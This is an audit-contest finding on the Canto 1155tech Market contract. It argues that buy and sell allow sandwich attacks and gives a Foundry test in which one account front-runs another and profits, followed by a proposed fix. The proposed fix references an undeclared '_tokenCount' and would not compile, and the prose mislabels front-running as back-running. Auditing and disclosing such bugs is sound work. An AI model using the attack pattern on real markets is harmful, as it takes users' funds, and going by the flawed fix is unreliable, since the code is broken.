Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 114/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150-L170 https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L174-L198 https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25
The buy
and sell functions in the Market
contract are vulnerable to sandwich attacks due to their lack of consideration for the position of tokens being bought or sold. These functions, use the id of the share and an amount argument to determine the number of tokens to buy or sell. However, they do not account for the specific positions of the tokens being bought or sold.
for example; If Alice buys the first 10 tokens of a share, they have purchased the tokens from the price range of 0 - 10. The current implementation allows bots to exploit this by running a sandwich attack, leading to significant financial losses for the investors.
Bob, observing Alice's transaction in the mempool, back-runs her her buy transaction by purchasing the first 10 tokens at a lower price. Alice ends up buying tokens at a higher price range (10 - 20), and Bob subsequently sells his tokens at a profit (price range of 10 - 20). Alice incurs losses due to both front-running (paying more for price range of 10-20) and back-running (selling at a lower price in range of 0-10).
To run the PoC you should copy and paste the below code in your forge tests and run
forge test --match-test testSandwitchAttack
no additional configurations is needed
function testSandwitchAttack() public { //Initial state //creating a share market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); market.createNewShare("Test Share", address(bondingCurve), "metadataURI"); //funding bot with 100 tokens token.transfer(address(bob), 1e20); //funding alice with 100 tokens token.transfer(address(alice), 1e20); //bob saw the alice transaction in mempool and decided to perform a sandwitch attack //bob buys first 10 tokens at a cheap price vm.startPrank(bob); uint bob_balance1 = token.balanceOf(bob); token.approve(address(market), 1e18); market.buy(1, 10); uint bob_balance2 = token.balanceOf(bob); //this is the amount of tokens bob spent on buying first 10 tokens uint bob_spent = bob_balance1 - bob_balance2; vm.stopPrank(); //this is the alice transaction which is being attacked, alice tried //to purchase first 10 tokens, but now she will buy second 10 tokens (10 - 20) vm.startPrank(alice); uint alice_balance1 = token.balanceOf(alice); token.approve(address(market), 1e18); market.buy(1, 10); uint alice_balance2 = token.balanceOf(alice); //this is the amount of tokens alice spent on buying second 10 tokens uint alice_spent = alice_balance1 - alice_balance2; vm.stopPrank(); //alice spent almost 3x than what bob spent on first 10 tokens or 3x the amount of token she intended //to spend in order to receive 10 tokens assertEq(alice_spent >= 2 * bob_spent, true); //now bob can sell his 10 tokens for a higher price //because bob purchased tokens from id of 0 - 10, but now he is selling //from id of 10 - 20 vm.startPrank(bob); bob_balance1 = token.balanceOf(bob); market.sell(1, 10); bob_balance2 = token.balanceOf(bob); uint bob_received = bob_balance2 - bob_balance1; vm.stopPrank(); //bob almost received 3x his initial tokens // console.log(bob_spent); => 57599999999999998 // console.log(bob_received); => 152769583333333334 assertEq(bob_received > 2 * bob_spent, true); //alice now lost way more tokens, she spent 3x the amount she was going to spend //now she has to sell her tokens for 1/3 of the amount she spent because of the //back-running attack that bob performed vm.startPrank(alice); alice_balance1 = token.balanceOf(alice); market.sell(1, 10); alice_balance2 = token.balanceOf(alice); uint alice_received = alice_balance2 - alice_balance1; vm.stopPrank(); // console.log(alice_received); => 53986750000000000 // console.log(alice_spent); => 159416666666666663 //alice spend 3x the tokens she intended to spend, and sold those tokens for 1/3 what //she spent assertLt(alice_received, alice_spent); }
Forge
To prevent bots from front-running a buy transaction we can limit the amount of tokens we are willing to spend on shares.
to do this, we can pass a _maxTokensIn
:
function buy(uint256 _id, uint256 _amount, uint _maxTokensIn) external { //add this condition require(_tokenCount == shareData[_id].tokenCount, "Front-runned!"); (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID require(price + fee <= _maxTokensIn, "maximum tokens exceeded"); SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy //@audit rewards of msg.sender from last claim is 0 uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); // Split the fee among holder, creator and platform _splitFees(_id, fee, shareData[_id].tokensInCirculation); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount += _amount; shareData[_id].tokensInCirculation += _amount; tokensByAddress[_id][msg.sender] += _amount; if (rewardsSinceLastClaim > 0) { SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim); } emit SharesBought(_id, msg.sender, _amount, price, fee); }
MEV
#0 - c4-pre-sort
2023-11-18T10:12:01Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:33:35Z
MarioPoneder marked the issue as satisfactory